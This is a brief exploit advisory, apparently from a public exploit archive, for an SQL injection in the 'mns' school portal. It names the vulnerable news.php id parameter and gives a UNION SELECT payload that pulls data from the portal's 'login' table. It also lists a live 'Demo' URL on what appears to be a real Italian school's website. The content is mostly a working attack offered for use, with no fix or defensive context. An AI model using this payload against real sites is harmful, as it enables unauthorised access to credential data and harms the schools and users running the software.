########################################################################################## # [+] mns portal sql injection Vulnerability # [+] Portal Name : mns # [+] software : http://scuolainrete.info/site/index.php # [+] Author : d3c0der # [+] Contact : d3c0der@hotmail.com # [+] homepage : www.attackerz.ir #[------------------------------------------------------------------------------------] # # [+] Vulnerability # # [+] sql # # www.[site]/webschool/news.php?id=[sqli] # # [+] exploit # # +union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+login # #[------------------------------------------------------------------------------------] # [+] Demo # # www.liceosilvestri.it/webschool/news.php?id=45 # # ##########################################################################################